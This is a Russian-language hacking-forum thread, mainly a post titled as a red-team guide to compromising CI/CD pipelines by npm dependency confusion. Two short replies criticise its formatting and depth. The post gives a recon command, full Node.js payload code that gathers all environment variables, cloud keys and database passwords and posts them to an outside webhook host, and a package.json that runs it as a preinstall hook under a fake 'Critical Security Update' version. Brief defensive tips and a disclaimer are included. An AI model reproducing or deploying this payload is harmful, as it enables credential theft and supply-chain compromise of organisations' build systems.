LIMB
Вход Регистрация

тема

[B][SIZE=5][Red Team Guide] Shadow DevOps: Ломаем CI/CD пайплайны через Dependency Confusion + Kali Linux[/SIZE][/B]

sukidat · · 2 ответов · 301 просмотров

[Red Team Guide] Shadow DevOps: Ломаем CI/CD пайплайны через Dependency Confusion + Kali Linux

Приветствую, комьюнити.

Сегодня мы не будем брутить SSH и сканить порты Nmap-ом, как делают на курсах за 10 баксов. Мы пойдем путем Red Team операций в крупных энтерпрайзах.
Речь пойдет о компрометации сборочных линий (Build Pipelines). Админы могут закрыть порты, но их сервер сборки обязан ходить в интернет, чтобы качать библиотеки. Этим мы и воспользуемся.

Сценарий атаки:
1.  Recon: Ищем утечки конфигураций через Kali Linux.
2.  Weaponization: Готовим пейлоад для кражи секретов (ENV).
3.  Delivery: Маскируем зловреда под npm-пакет.
4.  Exploitation: Получаем ключи доступа прямо с сервера сборки.

Погнали.

---

Фаза 1: Разведка (Recon)

Всё начинается с поиска цели. Нам нужно узнать, какие приватные библиотеки использует компания. Часто разрабы забывают почистить .git папки на проде или светят package.json в публичных репозиториях.

Открываем Kali Linux. Нам понадобится тулза для фаззинга директорий, например dirsearch. Ищем забытые файлы конфигураций.

Команда в терминале:
Code:
dirsearch -u https://target-company.com -e json,txt,git -w /usr/share/wordlists/dirb/common.txt

Если находим открытый .git или package.json, вытягиваем имена внутренних библиотек. Например, мы нашли зависимость "internal-billing-core".

---

Фаза 2: Создание "Оружия" (Weaponization)

Теперь нам нужно сделать так, чтобы при установке этой библиотеки сервер сборки открыл нам доступ или слил данные.
Мы можем использовать Metasploit для шелла, но профессиональнее будет тихо слить Переменные Окружения (Environment Variables), где хранятся AWS Keys и пароли от БД.

Создаем простой JS-пейлоад.

Файл index.js (наш "зловред"): 
Code:
const https = require('https');
const os = require('os');

// Собираем самое вкусное: имя хоста, юзера и ВСЕ переменные окружения
const payload = JSON.stringify({
    host: os.hostname(),
    user: os.userInfo().username,
    env: process.env // Тут лежат AWS_SECRET_KEY, DB_PASS и прочее
});

// Отправляем данные на наш сниффер (RequestBin или Burp Collaborator)
const req = https.request({
    hostname: 'webhook.site', // Замените на свой хост
    path: '/your-uuid',
    method: 'POST',
    headers: {
        'Content-Type': 'application/json',
        'Content-Length': payload.length
    }
}, (res) => {});

req.write(payload);
req.end();

---

Фаза 3: Отравление (Delivery)

Создаем фейковый пакет.
1.  Создаем папку internal-billing-core.
2.  Внутри делаем package.json.
3.  Версию ставим выше, чем у жертвы (например, 99.9.9), чтобы пакетный менеджер выбрал НАШ пакет из публичного репо, а не их локальный.

Файл package.json:
Code:
{
  "name": "internal-billing-core",
  "version": "99.9.9",
  "description": "Critical Security Update",
  "main": "index.js",
  "scripts": {
    "preinstall": "node index.js"
  }
}
Главная фишка тут в "preinstall". Скрипт выполнится до того, как библиотека реально установится. Даже если установка упадет с ошибкой — мы уже получили данные.

Публикуем в npm registry:
Code:
npm publish

---

Фаза 4: Эксплуатация (Exploitation)

Теперь ждем. Как только DevOps жертвы или их автоматический CI/CD раннер (Jenkins, GitLab CI) запустит команду npm install, он увидит, что в паблике есть версия 99.9.9, скачает её и выполнит код.

Идем в наш логгер (webhook) и видим прилетевший JSON.


Что мы получили?[/B]
1.  AWS_ACCESS_KEY_ID — доступ к облаку.
2.  DATABASE_URL — доступ к базе данных клиентов.
3.  CI_JOB_TOKEN — доступ к исходному коду остальных проектов.

---

Как защититься (Blue Team tips)

Чтобы не стать героем такой статьи:
  • Используйте Scoped packages (например, @mycompany/auth).
  • Настройте локальный прокси (Nexus/Artifactory) и запретите подтягивание внутренних имен из npmjs.org.
  • Никогда не доверяйте публичным репозиториям слепо. Используйте lock-файлы.

Disclaimer: Информация предоставлена исключительно в образовательных целях для тестирования собственных систем. Автор не несет ответственности за действия третьих лиц.

Stay safe, stay anonymous.
👍21 😁2 🤔6 💯3
Ответsukidat

[Red Team Guide] Shadow DevOps: Ломаем CI/CD пайплайны через Dependency Confusion + Kali Linux Приветствую, комьюнити. Сегодня мы не будем брутить SSH и сканить порты Nmap-ом, как делают на курсах за 10 баксов. Мы…

оформите пожалуйста нормально где скриншоты где структура работы введение и тд
👍1
ОтветFaceControl

оформите пожалуйста нормально где скриншоты где структура работы введение и тд

Многие штуки тут описаны крайне поверхностно и едва ли функционально. Нынче зависимости по-другому модно конфузить. Это больше какая-то предельно ознакомительная статейка, что такое вообще есть.
👍2

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.